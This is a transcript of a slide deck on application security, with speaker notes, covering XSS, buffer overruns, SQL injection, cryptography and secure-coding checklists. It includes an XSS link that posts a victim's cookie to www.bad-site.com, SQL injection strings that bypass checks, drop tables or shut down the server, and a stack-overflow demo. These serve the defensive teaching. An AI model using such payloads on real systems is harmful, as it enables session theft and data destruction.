• Share
  • Email
  • Embed
  • Like
  • Save
  • Private Content
Application Security
 

Application Security

on

  • 877 views

 

Statistics

Views

Total Views
877
Views on SlideShare
830
Embed Views
47

Actions

Likes
0
Downloads
21
Comments
0

1 Embed 47

http://www.cifo.com 47

Accessibility

Categories

Upload Details

Uploaded via as Microsoft PowerPoint

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment
  • Responsibility of designers, coders, administrators; Testers also have a role; Most of the security failures caused by bad code; Also bad design (disregard for security or lack of awareness), or mis-administration; Many of the flaws could be discovered in the testing phase, if aware and planned for;
  • NT built in storage and checking of security for Kernel objects
  • In today’s distributed systems (network computing), multiple users are simultaneously trying to use common resources. In order to get or restrict access to these resources, users need to get authenticated (Alan, is that you ?) and authorized (Kevin, you are not allowed to read that restricted file !). These are some aspects of system security, together with: Privacy encryption can anybody see what you do? Data integrity can anybody change your action? A malicious user would try to attack on any of these fronts, for various reasons: to steal secret data, to vandalize/deface web applications/sites etc.
  • A application system should be designed, started, configured and tested with security in mind. Security, together with robustness and reliability, should be of importance at every tier. The more complicated the system, the bigger the number of failures (any code that looks overly complicated likely has bugs).
  • Security principles: SD3 (Secure by Design, by Default and in Deployment) Writing solid code (coding principles to minimize number of bugs: const == var etc.) Minimize attack surface: number of sockets, pipes, services, files, registry keys etc. Training for everyone involved, makes everyone aware of security threats and vulnerabilities; Security checklists for designer, developer and tester;
  • Also mandatory application logging (discover possible intrusion early) Audit often
  • There is no statistics on app vulnerability yet; Order is arbitrary Even the definition of application vulnerability is widely disputed: some argue that even administration flaws (last) should not be on the list; network and infrastructure security issues (firewalls, server configuration, Denial of Service etc) are not considered; Microsoft considers “Buffer overrun” as public enemy #1 We will show brief descriptions on how they manifest and their countermeasures/remedies;
  • Any data submitted by a user is initially untrusted data. could lead to buffer overruns, SQL injection attack, server crash etc. Data supplied as input to a function should be also checked. Data checking a must even though it could affect system performance (better than system crash, especially when it is a critical component);
  • Reusable components (DLL, COM) should be designed and written carefully: they should not trust the caller, since the caller can be any code; Also, configuration data (config file, environment variables, even registry settings) should not be always trusted: they can be unintentionally wrongly set by an administrator, and they could cause application crash.
  • Rule is derived from the principle of “failing securely”; Check data type, data length (min/max), numeric range, param required or not, whether duplicates are allowed etc; Regular expressions serve 2 purposes: to find data and to validate data; Regex++ (STL) CAtlRegExp in VC++ 7 Issues when used with Unicode In C++, get around regular expressions by implementing private method Validate();
  • Canonicalization: multiple ways to specify file name: /, , /../../, absolute vs. relative, case insensitive etc Example: MyFile.txt. == myfile.txt Files could be really devices; system blocks when try to open “devices”; Usage of non-alpha characters: escape sequences, CR etc. Example: file name entered by user is logged; one can fudge the log by entering a “file name” that contains multiple lines: they are going to be logged as they are ! Rules for canonicalization: Reject non alpha-numerical chars (~ etc.), trailing dot, OR/AND Evaluate the long file name in case short file name was used, by calling GetLongPathName() -> defense in depth measure (double check) Prepends app-configured directory to the file name (make sure len < MAX_PATH); Adds \? to the start of the filename, instructing OS to handle filename literally (turn off path parsing, do not perform extra canonicalization steps) Evaluate the long file name in case short file name was used, by calling GetLongPathName() Determines if filename represents a file or a device by using GetFileType(); if returns FYLE_TYPE_DISK, it’s real file Check server names by calling GetComputerNameEx() Check user names by calling GetUserNameEx()
  • When a web application displays as output some unfiltered input accepted from a user. End user trusts the web app; attacker exploits this trust; Attackers employ a variety of methods to encode malicious code, such as using Unicode. in the case of stored attacks, the injected code is permanently stored on the target servers (db, forums, logs, bultin boards); in the case of reflected attacks, the injected code takes another route to the victim, such as in an email message, or on some other server (redirection to a malicious server that send back attack code);
  • Although the URL looks like pointing to microsoft.com domain, it is bogus ! It is a user name (www.microsoft.com), followed by the real web site name, hex-encoded to make it harder for the victim to read it.
  • vulnerable web server does not filter the input, and just sends it back to client. pass a wisely crafted script as input, it will be passed back to the browser; mask this input (escaped HTML, as in the previous microsoft site exemple); Need: web browser supporting scripting with DHTML model;
  • pass somehow (email, other trusted site) this trusted-site link (param is a sequence of code) to the victim’s browser (the script part of the link is masked); Sometimes, it is not necessary for the victim to click the link: attacker uses onmouseover=“malicious script”; also onload, on activate
  • Local content is vulnerable to attack if file location is known or predictable and it outputs input from user; Link to a vulnerable local file (specifying the full path) could allow execution of a script (passed from “Internet” zone) in the “My computer” zone; This code echoes back the input after the # sign (in URL);
  • ASP Server.HTMLEncode converts dangerous symbols , including HTML tags, to their harmless HTML representation, for example < becomes < Why double and not single quotes: HTML encoding does not escape single quote characters, but only double quotes; Protection for reading the cookie from script. For example, the following cookie cannot be accessed by DHTML: Set-Cookie: name=John; domain=microsoft.com; HttpOnly (the cookie could be poisoned though, this does not provide protection against that) An internet page saved locally is still displayed in the “Internet” zone. This is possible because a comment is placed in the file: <!– saved from url=(0026)http://msdn.microsoft.com--> The only valid setting is “restricted”: no script is executed. Forces the web site into “Restricted sites” zone.
  • Stack overflow: many of the GPFs (ones that display an application address) will lead to possibility of buffer overrun; Other GPFs, caused by heap overrun (where system memory is displayed), are also exploitable; VC++7 has /GS compiler option that keeps track of stack allocation: offers some protection (displays a GPF type of message, trappable in the app though);
  • build and run in release; play with this example by passing various string parameters (various lengths, less than 10 and more than 10), like “abcdefghijklm”; Trick to view stack: printf(“stack is: <br /> %p <br /> %p <br /> ”) Once you can overwrite values within the application, it is possible to cause security bugs: the overwritten value will be the address of your malicious function; Ban the use of strcpy and the incidence of buffer overrun will drop dramatically;
  • Format string bugs: not really buffer overflow Warning: %S format specifier with printf family of functions silently skips characters that don’t translate; Strsafe.h file defined by microsoft during windows security push Code reviews, thorough testing, ban unsafe function calls;
  • there is no dangerous function, only dangerous developers – Dave Cutler (paraphrase of Heinz Guderian) Name-squatting: create a name that could be guessed by attacker; Trojaning: need a guarantee that the launched app is the one it pretends to be (authenticate the app); DoS: app can halt if, in low memory conditions, thrown exception are not caught;
  • Select statement returns all customers, far from initial intention Comment operator (“--”) makes the statement valid regardless of the rest of the statement; supported to many db; Can also insert additional sql statements: A125612’ drop table statement –--
  • Pseudo-remedies: Double-Quote the input: if the input contains quotes, double it, as you would have done for names like O’Bryan Renders sql statement invalid; This “remedy” does not work if variables are not quotes (as for ints)
  • Remedies: never connect as sysadmin, thus eliminate the possibility for attacker to drop tables, delete system data, call admin stored procs, add database users to the system, delete logs etc. In SQL server, xp_cmdshell allows the call of shell commands; Oracle has utl_file that allows read/write to file system; Cmd = CreateObject(“ADODB.Command”) Cmd.CommandText = “select * from … where name=(?) and age=(?)” Set parm1 = cmd.CreateParameter(…)
  • If an attacker can access a resource, her job is done; Resources secured through ACL are: files and directories, registry keys, printers, named pipes, active directory objects, synchronization objects (mutex, semaphores). sounds simple problem but difficult to implement correctly, since it is tight to the content the app provides; Other access control issues include: Insecure ID’s: attacker should not be able to use a guessed ID in order to get access; Credential checks must be not bypassable (security check pages could not be skipped); Client side caching: through coding, make sure that the pages containing sensitive info are not cached on the browser; Testing with Windows 2000 (and later) security templates that define recommended lockdown computer configurations, configurations more secure than the default one. Some apps fail to operate correctly when security settings are anything but defaults. 7 named security templates
  • Key management is considered the weakest link of cryptographic applications; Easy to generate keys, hard to store, exchange, and use; Hard-coding a key in an executable is trivial to break; XingDVD player from RealNetworks did not have the DVD encryption keys satisfactorily protected; DeCSS program cracked DVDs based on key info from the executable;
  • CryptGenRandom gets its randomness from many sources in Win 2000, including: current procID (GetCurrentProcessID) current threadID (GetCurrentThreadID) Ticks since boot (GetTickCount) Current time (GetLocalTime) Various high precision performance counters (QueryPerformanceCounter) High precision CPU counters (RDTSC, RDMSR, RDPMC for Pentium) Etc. There are long term and short term (ephemeral) keys. The latter are used by networking protocols (DCOM, SSL, RPC). Long term keys are used for authentication and integrity and they are used to establish the ephemeral keys. For example, when using SSL, the server uses its private key (identified by its public key certificate) to generate ephemeral keys for each encrypted SSL session. Symmetric keys are protected by asymmetric ones: see equivalence tables (for example, 80 bit symmetric key requires 1228 bit RSA asymmetric key). When use crypto keys, keep them close to the point where they encrypt/decrypt data. (The value of a secret is inversely proportional to its availability). When passing the key to functions, use key handle rather than the key itself, minimizing the key’s exposure. Crypto API: CryptGenKey (generates a strong key, yet you never see the value directly; you access it using a handle), CryptExportKey (export the key from CryptoAPI to a persistent storage), CryptoImportKey. The key is protected by either a public key in a certificate (and later decrypted with the private key) or (Win2K and later) by a symmetric key. The key is never in plaintext, except deep inside CryptoAPI.
  • The message being encrypted, T , must be, evidently, less than the modulus, PQ . ^ is exponentiation

Application Security Application Security Presentation Transcript

  • Securing applications
    • Who is responsible for providing security ?
    • Design considerations
      • Principles and best practices
    • Coding
      • Ideas, techniques, code samples
  • What is application security ?
    • Typical app includes elements, components and processes
    • Each of the app elements and components and processes must be available only to qualified users
    • Every element, component and service must be protected from unauthorized viewing, tampering, modification
  • Security Basics
    • Authentication
      • who are you?
    • Authorization
      • what are you allowed to do?
    • Privacy
      • encryption
      • can anybody see what you do?
    • Data integrity
      • can anybody change your action?
  • n-tier application model External Applications Legacy Systems Databases Thin Client Rich Client
  • Security Principles: SD3
    • By design
      • Security architect, signs for security
      • Create threat model (shared with QA)
      • Training on security issues
      • Design and coding guidelines with focus on security: code simplification, reviews, bug fixes, regression testing
      • Minimize attack surface
      • Don’t reveal internal details in error messages
  • Security Principles: SD3
    • By default
      • Not all features installed by default
      • Allow least privilege
      • Apply appropriate protection for resources
      • Use defense in depth
      • Assume external systems are insecure
      • Fail to a secure mode
      • Never depend on security through obscurity
      • Don’t mix code and data
  • Security Principles: SD3
    • In Deployment
      • Make sure app has functionality for security administration
      • Make sure the app is correctly configured
  • Top 9 application vulnerabilities
    • Unchecked parameters
    • Broken Access Control
    • Cross-site scripting (XSS) flaws
    • Buffer overruns
    • SQL injection defects
    • Broken account and session management
    • Error handling deficiencies
    • Faulty use of cryptography
    • Web and app server misconfiguration
  • 1. Unchecked parameters
    • Rule 1: all input is evil until proven otherwise
    • Rule 2: data must be validated as it crossed the boundary between untrusted and trusted environments
    • Issues: longer than expected strings, malicious content
  • Example: CopyData()
    • void CopyData(char* szSrc)
    • {
    • char szDest[1024];
    • strcpy(szDest, szSrc);
    • // use szDest
    • }
  • Example: CopyData2()
    • int CopyData2(char* szSrc, int nLen)
    • {
    • int nRes = S_OK;
    • const int cnMaxLen = 1024;
    • char szDest[cnMaxLen];
    • if (szSrc && nLen < cnMaxLen)
    • strncpy(szDest, szSrc, nLen);
    • else
    • nRes = ERR_WRONG_PARAM;
    • return nRes;
    • }
  • How to check validity
    • Rule: look for valid data and reject everything else
    • Reasons:
      • There could be more than one valid way to represent data (requires canonicalization)
      • You might miss an invalid data pattern
    • May use regular expressions to check input
  • Canonicalization
      • The process by which various equivalent forms are resolved to a single, standard name, the canonical name
      • Do not make any security decision based on the name of a resource, especially a file name
      • Restrict what is allowed in a file name (drive, backslashes, extension etc.)
  • 2. Cross-site scripting attacks
    • Occur when an attacker uses a web app to send malicious code, usually JavaScript, to a different end user
    • Real reason is because data and code are mixed together (against one of the security principles)
    • 2 categories: stored and reflected
  • Trusted Site ?
    • <a href=“http://www.microsoft.com@%77%
    • 77%77%2E%65%78%3D%64%6F%74%73%
    • 63%6B%69%65…..%3E”>
    • Click here to win $1,000,000 </a>
    URL format as defined in RFC1738: http://<user>:<pswd>@<host>:<port>/<path>
  • XSS example: server side
    • www.cifo.com/req.asp implementation:
    • Hello, &nbsp;
    • <%
    • Response.Write(Request.QueryString(“name”))
    • %>
  • XSS example: client side
    • <a href=http://www.cifo.com/req.asp?name=
    • <form action=www.bad-site.com/test.asp
    • method=post id=“idFrm”>
    • <input name=“cookie” type=“hidden”>
    • </form>
    • <script>
    • idFrm.cookie.value=document.cookie;
    • idFrm.submit();
    • </script>
    • > Click here to win ! </a>
  • XSS attack against local files
    • <!—c:myfilesxss.html-->
    • Hello !
    • <script>document.write(location.hash)
    • </script>
    file://c:myfilesxss.html#<script>alert(“I am in !”)</script>
  • XSS remedies
    • Determine which input is valid and reject all the rest
    • Encode output (use Server.HTMLEncode)
    • Use double quotes around all tag properties
    • Use IE 6.0 SP1 HttpOnly cookie option
    • IE “Mark of the Web”
    • IE 6 <FRAME SECURITY> attribute
  • 3. Buffer overruns
    • Occurs when a buffer declared on the stack is overwritten by copying data larger than the buffer
    • The usual culprit is unchecked user input passed to functions such as strcpy()
    • An attack results when the return address for the function gets overwritten by an address chosen by the attacker (usually to her own code)
  • Stack Overflow Example
    • void foo(const char* input)
    • { char buf[10]; // display stack here
    • strcpy(buf, input); // display stack here
    • }
    • void bar()
    • { printf(“Ouch! I’ve been hacked !”);}
    • void main(int argc, char** argv)
    • {
    • printf(“addr of foo:%p addr of bar:%p”, foo, bar);
    • foo(argv[1]);
    • }
  • Buffer overrun remedies
    • Use strncpy instead of strcpy
    • Use snprintf instead of sprintf
    • Use STL string class
    • When writing functions for manipulating strings:
      • Size of the destination buffer always provided to the function;
      • Buffers guaranteed to be NULL terminated, even if the operation truncates the intended result;
      • All functions must return HRESULT;
  • “Dangerous” APIs
    • APIs with Buffer overrun issues: strcpy, strcat, strncpy, strncat, memcpy, sprintf, printf, strlen, gets, scanf, STL stream operator (>>), T2W (& family)
    • APIs with name-squatting issues (CreateDirectory, CreateEvent, CreateFile, CreateMutex, CreateNamedPipe etc.)
    • APIs with Trojaning issues (CreateProcess, LoadLibrary, WinExec etc.)
    • APIs with DoS issues (InitializeCriticalSection, EnterCriticalSection, _alloca), TerminateThread, TerminateProcess
    • Socket APIs
  • 4. SQL injection issue
    • string sql = “select * from customer where CustID= ‘” + id + “’”
    • // value of variable ‘id’ is “A125612’ or 1=1 --”
    • select * from customer where id=‘A125612’ or 1=1 –-‘
  • SQL injection “remedies”: double quote the input
    • // value of variable ‘id’ is “A125612’ or 1=1 --”
    • select * from customer where id=‘A125612’’ or 1=1 –-‘
    select * from customer where id=‘” + id + ”’ and age>” + nAge select & from customer where id=‘A75’ and age>33 shutdown --
  • SQL injection “remedies”: use stored procedures
    • exec sp_GetCust ‘A152’ or 1=1’ --
    exec sp_GetCustomer ‘A152’ insert into customer values (...) --
  • Preventing SQL injection
    • Again, do not trust user’s input !
    • Use parameterized queries (e.g. through ADO.Command) and not string concatenation
    • Be strict about what represents valid input and reject everything else
    • Connect to db by using least privileged account, not sysadmin
    • Do not divulge too much info to attacker
  • 5. Access Control
    • Sometimes called Authorization, is how the app grants access to content and functions to some users and not others
    • ACL is last line of defense against attack
    • Access Control policy should be clearly documented and enforced
    • Code that implements access control should be centralized, modular and thoroughly reviewed
  • 6. Broken account and session management
    • Caused by flawed credential management functions, including password change, forgot my password, account update etc.
    • Managing active sessions requires strong session identifier (token), protected throughout its lifecycle, that can’t be guessed, hijacked or captured
  • Protection against break-ins
    • Single password change mechanism; always required to provide both new and old password
    • Strong password should have min size
    • Password storage always in hashed or encrypted form
    • Protect credentials in transit (SSL-type)
    • Session ID protection – ideally through SSL for the entire session
  • 7. Error handling deficiencies
    • Most common problem is when detailed internal error messages (stack traces, mem dumps, error codes) are displayed to the user (attacker)
    • Even though minimal error messages are displayed, they can still be logged by the application, with all their details, on the server, analyzed and fixed
  • 8. Faulty use of cryptography
    • Insecure storage of keys, certificates and passwords
    • Poor source for randomness
    • Poor choice for encryption algorithm or attempting to invent new ones
    • Failure to encrypt critical data
    • Lack of support for key changes
  • Solutions for cryptography issues
    • In Win32 use CryptGenRandom to generate random numbers
    • Use appropriate key lengths
    • Keep keys close to the source
    • If must exchange keys (private keys should never be exchanged) use a tried and trusted exchange mechanism (RSA, Diffie-Hellman)
    • Document your reasons for choosing the cryptographic solution and have someone knowledgeable review it
  • RSA encryption keys
    • Find two large prime numbers (1024 bit or longer), P and Q; N = P*Q
    • Chose E, between 1 and P*Q, such that E and (P-1)*(Q-1) are relative prime (have no common factor other than 1)
    • Compute D such that (D*E-1) is divisible by (P-1)*(Q-1), that is equivalent to D*E = 1 (mod(P-1*(Q-1))
    • Public key is the pair (N, E), private key is D
  • RSA encryption algorithm
    • The encryption function is C = (T^E) mod PQ , where C is the ciphertext (a positive integer), T is the plaintext (a positive integer)
    • The decryption function is T = (C^D) mod PQ , where C is the ciphertext (a positive integer) and T is the plaintext (a positive integer)
  • 9. Web and app server misconfiguration
    • Unpatched security flaws in the server software
    • Unnecessary default, backup, sample files, including scripts, applications, configuration files, web pages
    • Unnecessary services enabled
    • Default accounts with default passwords
    • Admin or debugging functions that are enabled or accessible
    • Misconfigured SSL certificates and encryption settings
  • Summary Things to remember
    • Designer’s security checklist
    • Developer’s security checklist
    • Tester’s security checklist
    • Stay up-to-date: threats change, new ones emerge
    • Never been attacked does not mean will never be attacked
  • Developer’s security checklist
    • Code compiled with /GS (Visual C++.NET)
    • Check all untrusted input is verified before being used or stored
    • All buffer management functions are safe from buffer overrun
    • All DACLs well formed: not NULL or Everyone (Full Control)
    • No references to any internal resources (server names, user names etc.) in code
    • Temporary file names are unpredictable
    • Calls to CreateProcess do not have NULL as first arg
    • Error messages do not give too much info to attacker
    • No decision made based on the name of the files
    • No user data written to HKLM in the registry
    • Socket bind to a specific IP address (not 0)
    • Etc. (Database-specific, CryptoAPI)
  • Questions, suggestions Future presentations - basic cryptography (history and evolution) - DVD encryption